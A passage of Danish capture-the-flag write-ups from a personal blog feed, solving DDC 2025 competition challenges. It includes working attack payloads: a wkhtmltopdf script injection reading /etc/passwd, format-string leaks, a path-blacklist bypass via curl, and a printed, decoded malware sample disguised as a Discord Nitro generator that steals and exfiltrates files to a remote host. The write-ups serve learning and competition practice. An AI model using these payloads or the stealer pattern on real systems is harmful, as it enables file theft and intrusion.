</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">json</span><span class="p">()[</span><span class="s1">&#39;results&#39;</span><span class="p">][</span><span class="mi">1</span><span class="p">][</span><span class="s1">&#39;flag&#39;</span><span class="p">])</span>
</span></span></code></pre></div><p>Flag: <code>DDC{c0nfu53d_4nd_vuln3r4bl3}</code></p>
<hr>
<h3 id="the-legend">The Legend</h3>
<p>Velkommen, tapre eventyrer!</p>
<p>Jeg har lavet en mega fed legende generator, gå da lige ind og check den ud og få din helt egen custom legende!!.</p>
<p><strong>Løsning:</strong> Når vi laver en ny legende, kan vi se i exif dataen at pdfen er lavet med wkhtmltopdf v. 0.12.5 som er sårbar overfor <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-21365">CVE-2020-21365</a>.</p>
<p>Ved at indsætte dette script i pdfen kan vi leake brugerne på serveren:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span> <span class="nx">x</span><span class="o">=</span><span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">;</span> <span class="nx">x</span><span class="p">.</span><span class="nx">onload</span><span class="o">=</span><span class="kd">function</span><span class="p">(){</span> <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">responseText</span><span class="p">)</span> <span class="p">};</span> <span class="nx">x</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&#34;GET&#34;</span><span class="p">,</span><span class="s2">&#34;file:///etc/passwd&#34;</span><span class="p">);</span> <span class="nx">x</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span> <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span></code></pre></div><p><code>mrbeef:x:1000:1000::/home/mrbeef:/bin/bash</code></p>
<p>Vikan se at der er en bruger der hedder <code>mrbeef</code> og ud fra dette kan vi gætte på at flaget ligger i <code>/home/mrbeef/flag.txt</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span> <span class="nx">x</span><span class="o">=</span><span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">;</span> <span class="nx">x</span><span class="p">.</span><span class="nx">onload</span><span class="o">=</span><span class="kd">function</span><span class="p">(){</span> <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">responseText</span><span class="p">)</span> <span class="p">};</span> <span class="nx">x</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&#34;GET&#34;</span><span class="p">,</span><span class="s2">&#34;file:///home/mrbeef/flag.txt&#34;</span><span class="p">);</span> <span class="nx">x</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span> <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>Flag: <code>DDC{w4x3d_4nd_w1ck3d_pdF_m4st3ry}</code></p>
<hr>
<h3 id="el-reverso">El Reverso</h3>
<p>Har du problemer med at forstå Carlos El Reverso Santiago Dominguez Rodriguez Martinez? Dette program kan hjælpe ved at oversætte!</p>
<p><a href="/ddc_nationals_2025/binary/elreverso_new.zip">Handout (elreverso.zip)</a></p>
<p><strong>Løsning:</strong> Vi bruger <code>%s&lt;num&gt;$s</code> til at leake arguments, som programmet er startet med. Men vi skal også huske at reversere strengen, da den er reverseret i programmet.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">halfdan@desktop:~/Downloads$ nc translate.hkn <span class="m">1337</span>
</span></span><span class="line"><span class="cl">&gt; s<span class="nv">$09</span>%
</span></span><span class="line"><span class="cl"><span class="nv">SOCAT_SOCKPORT</span><span class="o">=</span><span class="m">1337</span>
</span></span><span class="line"><span class="cl">&gt; s<span class="nv">$08</span>%
</span></span><span class="line"><span class="cl"><span class="o">}</span>T2E8_EHT_M4_1_02REVER_LE_M4_1<span class="o">{</span>CDD
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">halfdan@desktop:~/Downloads$ <span class="nb">echo</span> <span class="s1">&#39;}T2E8_EHT_M4_1_02REVER_LE_M4_1{CDD&#39;</span> <span class="p">|</span> rev
</span></span><span class="line"><span class="cl">DDC<span class="o">{</span>1_4M_EL_REVER20_1_4M_THE_8E2T<span class="o">}</span>
</span></span></code></pre></div><p>Flag: <code>DDC{1_4M_EL_REVER20_1_4M_THE_8E2T}</code></p>
]]></content></item><item><title>DDC - Regionals Junior 2025 : Writeups</title><link>https://ha1fdan.xyz/en/posts/ddc_regionals_junior_2025/</link><pubDate>Sat, 05 Apr 2025 00:00:00 +0000</pubDate><guid>https://ha1fdan.xyz/en/posts/ddc_regionals_junior_2025/</guid><description>&lt;blockquote&gt;
&lt;p&gt;Tusind tak til DDC for at lave denne fantastiske CTF, og til alle de andre deltagere for at gøre det sjovt! Jeg havde en fantastisk tid og lærte meget. Jeg glæder mig til at se jer til nationals!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="syddanmark-scoreboard"&gt;Syddanmark Scoreboard:&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/ddc_regionals_2025/syddanmark.png" alt="ddc2024_scoreboard.png"&gt;&lt;/p&gt;
&lt;h2 id="global-scoreboard-top-10"&gt;Global Scoreboard (top 10):&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/ddc_regionals_2025/top10_global.png" alt="ddc2024_scoreboard.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ha1fdan.xyz/ddc_regionals_2025/Slides_RM_2025_announcement.pdf"&gt;Powerpoint med resultater&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="opgaver-løst"&gt;Opgaver løst&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Challenge&lt;/th&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#exponential-caesar"&gt;Exponential Caesar&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Crypto&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#nitrogenerator"&gt;NitroGenerator&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#wizardtrial"&gt;WizardTrial&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reverse Engineering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#baby-session-forger"&gt;Baby session forger&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Misc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#katchat"&gt;KatChat&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Beginner&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#gateway"&gt;Gateway&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web exploitation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#sysmon-spectacle"&gt;sysmon-spectacle&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#third-time-is-the-charm"&gt;Third time is the charm&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Boot2Root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#find-my-files"&gt;Find my files&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Boot2Root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#stuckat99"&gt;StuckAt99&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#systemreaper"&gt;SystemReaper&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#hidden-in-plain-sight"&gt;Hidden in Plain Sight&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Misc&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Disse opgaver gav mig 2636 points og en 3 plads i Syddanmark, og 4 plads på hele Junior platformen.&lt;/strong&gt;&lt;/p&gt;</description><content type="html"><![CDATA[<blockquote>
<p>Tusind tak til DDC for at lave denne fantastiske CTF, og til alle de andre deltagere for at gøre det sjovt! Jeg havde en fantastisk tid og lærte meget. Jeg glæder mig til at se jer til nationals!</p>
</blockquote>
<h2 id="syddanmark-scoreboard">Syddanmark Scoreboard:</h2>
<p><img src="/ddc_regionals_2025/syddanmark.png" alt="ddc2024_scoreboard.png"></p>
<h2 id="global-scoreboard-top-10">Global Scoreboard (top 10):</h2>
<p><img src="/ddc_regionals_2025/top10_global.png" alt="ddc2024_scoreboard.png"></p>
<p><a href="/ddc_regionals_2025/Slides_RM_2025_announcement.pdf">Powerpoint med resultater</a></p>
<hr>
<h2 id="opgaver-løst">Opgaver løst</h2>
<table>
	<thead>
			<tr>
					<th>Challenge</th>
					<th>Category</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><a href="#exponential-caesar">Exponential Caesar</a></td>
					<td>Crypto</td>
			</tr>
			<tr>
					<td><a href="#nitrogenerator">NitroGenerator</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#wizardtrial">WizardTrial</a></td>
					<td>Reverse Engineering</td>
			</tr>
			<tr>
					<td><a href="#baby-session-forger">Baby session forger</a></td>
					<td>Misc</td>
			</tr>
			<tr>
					<td><a href="#katchat">KatChat</a></td>
					<td>Beginner</td>
			</tr>
			<tr>
					<td><a href="#gateway">Gateway</a></td>
					<td>Web exploitation</td>
			</tr>
			<tr>
					<td><a href="#sysmon-spectacle">sysmon-spectacle</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#third-time-is-the-charm">Third time is the charm</a></td>
					<td>Boot2Root</td>
			</tr>
			<tr>
					<td><a href="#find-my-files">Find my files</a></td>
					<td>Boot2Root</td>
			</tr>
			<tr>
					<td><a href="#stuckat99">StuckAt99</a></td>
					<td>Binary</td>
			</tr>
			<tr>
					<td><a href="#systemreaper">SystemReaper</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#hidden-in-plain-sight">Hidden in Plain Sight</a></td>
					<td>Misc</td>
			</tr>
	</tbody>
</table>
<p><strong>Disse opgaver gav mig 2636 points og en 3 plads i Syddanmark, og 4 plads på hele Junior platformen.</strong></p>
<hr>
<h3 id="exponential-caesar">Exponential Caesar</h3>
<p>Jeg har forsøgt at gøre Cæsar-chifferet sikkert med ideer fra gruppeteori.</p>
<p>Nu udføres kryptering ved eksponentiering, som skal være meget mere sikker end simpel addition eller multiplikation.</p>
<p>Kan du dekryptere flaget?</p>
<p>Husk at lægge resultatet ind i flagformatet. (ddc eksempel flag -&gt; DDC{eksempel_flag})</p>
<p><a href="/ddc_regionals_2025/crypto/crypto-expcaesar.zip">Handout (crypto-expcaesar.zip)</a></p>
<p><strong>Løsning:</strong></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">string</span>
</span></span><span class="line"><span class="cl"><span class="n">alphabet</span> <span class="o">=</span> <span class="s1">&#39;abcdefghijklmnopqrstuvwxyzæøå&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">inverse_mult</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">string</span><span class="o">.</span><span class="n">whitespace</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">c</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">a</span> <span class="ow">in</span> <span class="n">alphabet</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="nb">pow</span><span class="p">(</span><span class="n">alphabet</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">a</span><span class="p">),</span> <span class="n">alphabet</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">b</span><span class="p">),</span> <span class="nb">len</span><span class="p">(</span><span class="n">alphabet</span><span class="p">))</span> <span class="o">==</span> <span class="n">alphabet</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">c</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="n">a</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="s1">&#39;?&#39;</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">caesar_decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">text</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">plaintext</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">plaintext</span> <span class="o">+=</span> <span class="n">inverse_mult</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">plaintext</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ciphertext</span> <span class="o">=</span> <span class="s2">&#34;pps øxf vigfm in saftam dt eiø fuviefeødak&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">key</span> <span class="ow">in</span> <span class="n">alphabet</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">decrypted</span> <span class="o">=</span> <span class="n">caesar_decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">ciphertext</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="s2">&#34;ddc&#34;</span> <span class="ow">in</span> <span class="n">decrypted</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">decrypted</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span>
</span></span></code></pre></div><p>Dette giver et output på: <code>ddc the power of caesar is not exponential</code> -&gt; <code>DDC{the_power_of_caesar_is_not_exponential}</code></p>
<p>Flag: <code>DDC{the_power_of_caesar_is_not_exponential}</code></p>
<hr>
<h3 id="nitrogenerator">NitroGenerator</h3>
<p>I downloaded a downloaded a script that was supposed to give me free Discord Nitro codes. But when I ran it, it suddenly disappeared. I suspect it was malicious. Can you help me find out what it did?</p>
<p><a href="/ddc_regionals_2025/forensics/capture-ng.zip">Handout (capture-ng.zip)</a></p>
<p><strong>Løsning:</strong> Fra <code>capture.pcapng</code> kan vi sorte på <code>http</code> og se at der er en <code>GET</code> request til <code>/nitro-generator.py</code>, denne python fil kan vi exportere via File -&gt; Export Objects -&gt; HTTP og så vælge <code>nitro-generator.py</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">time</span><span class="o">,</span> <span class="nn">sys</span><span class="o">,</span> <span class="nn">base64</span><span class="o">,</span> <span class="nn">threading</span><span class="p">;</span><span class="n">threading</span><span class="o">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">exec</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="s2">&#34;aW1wb3J0IG9zCgpkZWYgc3RlYWwocGF0aCk6CiBpbXBvcnQgc29ja2V0CiBkZWYgeG9yKGRhdGEsIGtleSk6CiAgcmV0dXJuIGJ5dGVzKFthIF4gYiBmb3IgYSwgYiBpbiB6aXAoZGF0YSwga2V5ICogKGxlbihkYXRhKSAvLyBsZW4oa2V5KSArIDEpKV0pCiB3aXRoIG9wZW4ocGF0aCwgInJiIikgYXMgZjoKICBjb250ZW50ID0gZi5yZWFkKCkKIGVuY3J5cHRlZCA9IHhvcihjb250ZW50LCBiIjZhNTI2NWUyNjBmN2JlZDUwMDY5M2IwZDIxYTA1Y2QyIikKIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiBzLmNvbm5lY3QoKCJuaXRyby1nZW5lcmF0b3IuaGtuIiwgNTkwMDApKQogcy5zZW5kYWxsKGVuY3J5cHRlZCkKIHMuY2xvc2UoKQogb3MucmVtb3ZlKHBhdGgpCgpmb3Igcm9vdCwgZGlycywgZmlsZXMgaW4gb3Mud2FsaygiLyIpOgogZm9yIGZpbGUgaW4gZmlsZXM6CiAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmaWxlKQogIGlmIG9zLnBhdGguaXNmaWxlKHBhdGgpIGFuZCBmaWxlID09ICJmbGFnLnR4dCI6CiAgIHRyeTpzdGVhbChwYXRoKQogICBleGNlcHQ6cGFzcwoKcHJpbnQoIlxuRmFpbGVkIHRvIGdlbmVyYXRlIG5pdHJvIGNvZGVzLiIpCm9zLnJlbW92ZShfX2ZpbGVfXykKb3MuX2V4aXQoKSBpZiBvcy5uYW1lID09ICJudCIgZWxzZSBvcy5raWxsKG9zLmdldHBpZCgpLCA5KQ==&#34;</span><span class="p">)),</span> <span class="n">args</span><span class="o">=</span><span class="p">(</span><span class="mi">0</span><span class="p">,))</span><span class="o">.</span><span class="n">start</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">chars</span> <span class="o">=</span> <span class="s2">&#34;</span><span class="se">\\</span><span class="s2">|/-&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">chars</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\r</span><span class="s1">&#39;</span> <span class="o">+</span> <span class="s2">&#34;Generating Nitro Codes... &#34;</span> <span class="o">+</span> <span class="n">char</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.2</span><span class="p">)</span>
</span></span></code></pre></div><p>Her kan vi se at der er en <code>exec</code> som dekoder en base64 string og kører den. Hvis vi ændrer <code>exec</code> til <code>print</code> og kører scriptet, får vi følgende output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="sa">b</span><span class="s1">&#39;import os</span><span class="se">\n\n</span><span class="s1">def steal(path):</span><span class="se">\n</span><span class="s1"> import socket</span><span class="se">\n</span><span class="s1"> def xor(data, key):</span><span class="se">\n</span><span class="s1">  return bytes([a ^ b for a, b in zip(data, key * (len(data) // len(key) + 1))])</span><span class="se">\n</span><span class="s1"> with open(path, &#34;rb&#34;) as f:</span><span class="se">\n</span><span class="s1">  content = f.read()</span><span class="se">\n</span><span class="s1"> encrypted = xor(content, b&#34;6a5265e260f7bed500693b0d21a05cd2&#34;)</span><span class="se">\n</span><span class="s1"> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><span class="se">\n</span><span class="s1"> s.connect((&#34;nitro-generator.hkn&#34;, 59000))</span><span class="se">\n</span><span class="s1"> s.sendall(encrypted)</span><span class="se">\n</span><span class="s1"> s.close()</span><span class="se">\n</span><span class="s1"> os.remove(path)</span><span class="se">\n\n</span><span class="s1">for root, dirs, files in os.walk(&#34;/&#34;):</span><span class="se">\n</span><span class="s1"> for file in files:</span><span class="se">\n</span><span class="s1">  path = os.path.join(root, file)</span><span class="se">\n</span><span class="s1">  if os.path.isfile(path) and file == &#34;flag.txt&#34;:</span><span class="se">\n</span><span class="s1">   try:steal(path)</span><span class="se">\n</span><span class="s1">   except:pass</span><span class="se">\n\n</span><span class="s1">print(&#34;</span><span class="se">\\</span><span class="s1">nFailed to generate nitro codes.&#34;)</span><span class="se">\n</span><span class="s1">os.remove(__file__)</span><span class="se">\n</span><span class="s1">os._exit() if os.name == &#34;nt&#34; else os.kill(os.getpid(), 9)&#39;</span>
</span></span></code></pre></div><p>Her kan vi se at der er en <code>xor</code> funktion som krypterer filen <code>flag.txt</code> med en key og sender den til <code>nitro-generator.hkn</code> på port <code>59000</code>.</p>
<p>Ved at sorte på <code>tcp.port == 59000</code> i wireshark, kan vi se at der er en <code>POST</code> request til <code>/flag.txt</code>, som indeholder en <code>xor</code> krypteret fil. Her finder vi 1 frame som indeholder <code>flag.txt</code> filen (<code>frame.number == 1753</code>). Follow TCP stream og vælg Show data as: Raw, her får vi <code>722576497343565c69730a0456173b560054056650565e3b50023e7d010f5551075140074b</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;722576497343565c69730a0456173b560054056650565e3b50023e7d010f5551075140074b&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="s2">&#34;6a5265e260f7bed500693b0d21a05cd2&#34;</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">bytes</span><span class="p">([</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">))])</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="s1">&#39;ignore&#39;</span><span class="p">))</span>
</span></span></code></pre></div><p>Flag: <code>DDC{Ev3n_Cl34r_c0d3_c4n_b3_M4l1c10u5}</code></p>
<hr>
<h3 id="wizardtrial">WizardTrial</h3>
<p>Velkommen lærling til hackingverdenen. Din første opgave er at lære den oplåsende charme. Du har fået en liste over mulige adgangskoder, men den store troldmand har beskyttet flaget med en mystisk hash 🔒. Held og lykke, unge troldmand!</p>
<p>✨🔮 nc wizard-trial.hkn 1337</p>
<p><a href="/ddc_regionals_2025/rev/re_wizardtraining.zip">Handout (reveng_wizardtraining.zip)</a></p>
<p><strong>Løsning:</strong></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Magic funktion oversat fra Java til Python (10/10 clutch fra Deepseek)</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">magic</span><span class="p">(</span><span class="n">input_str</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">j</span> <span class="o">=</span> <span class="mi">1337</span>
</span></span><span class="line"><span class="cl">    <span class="n">k</span> <span class="o">=</span> <span class="mi">57</span> <span class="o">-</span> <span class="mi">30</span> <span class="o">+</span> <span class="mi">3</span> <span class="o">+</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="n">l</span> <span class="o">=</span> <span class="mi">222</span> <span class="o">//</span> <span class="mi">6</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">input_str</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">j</span> <span class="o">*=</span> <span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">char</span><span class="p">)</span> <span class="o">+</span> <span class="n">k</span><span class="p">)</span> <span class="o">*</span> <span class="n">l</span>
</span></span><span class="line"><span class="cl">        <span class="n">j</span> <span class="o">%=</span> <span class="mi">1_000_000_007</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="n">j</span> <span class="o">=</span> <span class="p">((</span><span class="n">j</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">j</span> <span class="o">&gt;&gt;</span> <span class="mi">48</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">hex</span><span class="p">(</span><span class="n">j</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;wordlist.txt&#34;</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">wordlist</span> <span class="o">=</span> <span class="n">file</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">wordlist</span> <span class="o">=</span> <span class="p">[</span><span class="n">word</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span> <span class="k">for</span> <span class="n">word</span> <span class="ow">in</span> <span class="n">wordlist</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">stored_hash</span> <span class="o">=</span> <span class="s2">&#34;336db7f20000&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">password</span> <span class="ow">in</span> <span class="n">wordlist</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">magic</span><span class="p">(</span><span class="n">password</span><span class="p">)</span> <span class="o">==</span> <span class="n">stored_hash</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">password</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;nop&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>Her får vi <code>sh4d0w</code>, som vi kan sende til serveren:</p>
<pre tabindex="0"><code>***ID
**336db7f20000
***ENTER PASSWORD:
sh4d0w
***CRACKED: DDC{w1zardM4st3r_brut3_f0rc3_ch4rm}
</code></pre><p>Flag: <code>DDC{w1zardM4st3r_brut3_f0rc3_ch4rm}</code></p>
<hr>
<h3 id="baby-session-forger">Baby session forger</h3>
<p>I forgot to make it so I could auth myself. And now I&rsquo;m locked out, please help me recover my flag :/</p>
<p><a href="/ddc_regionals_2025/misc/baby_session_forger_handout.tar">Handout (baby_session_forger.tar)</a></p>
<p><strong>Løsning:</strong></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -X POST http://10.42.13.134/fileread <span class="se">\
</span></span></span><span class="line"><span class="cl">  -d <span class="s2">&#34;filename=/proc/self/cwd/flag.txt&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  -d <span class="s2">&#34;offset=0&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  -d <span class="s2">&#34;amount=100&#34;</span>
</span></span></code></pre></div><p>Her kan vi bruge /proc/self/cwd/flag.txt til at læse flaget fra current working directory, da den ikke er blacklisted.</p>
<p>Flag: <code>DDC{P4th_s4n1t1z4t10n_d0n3_wr0ng}</code></p>
<hr>
<h3 id="katchat">KatChat</h3>
<p>KatChat er den bedste anonyme kattevideo delings tjeneste i hele kattedømmet. Hunde som dig er ikke tilladt!</p>
<p><a href="http://katchat.hkn">http://katchat.hkn</a></p>
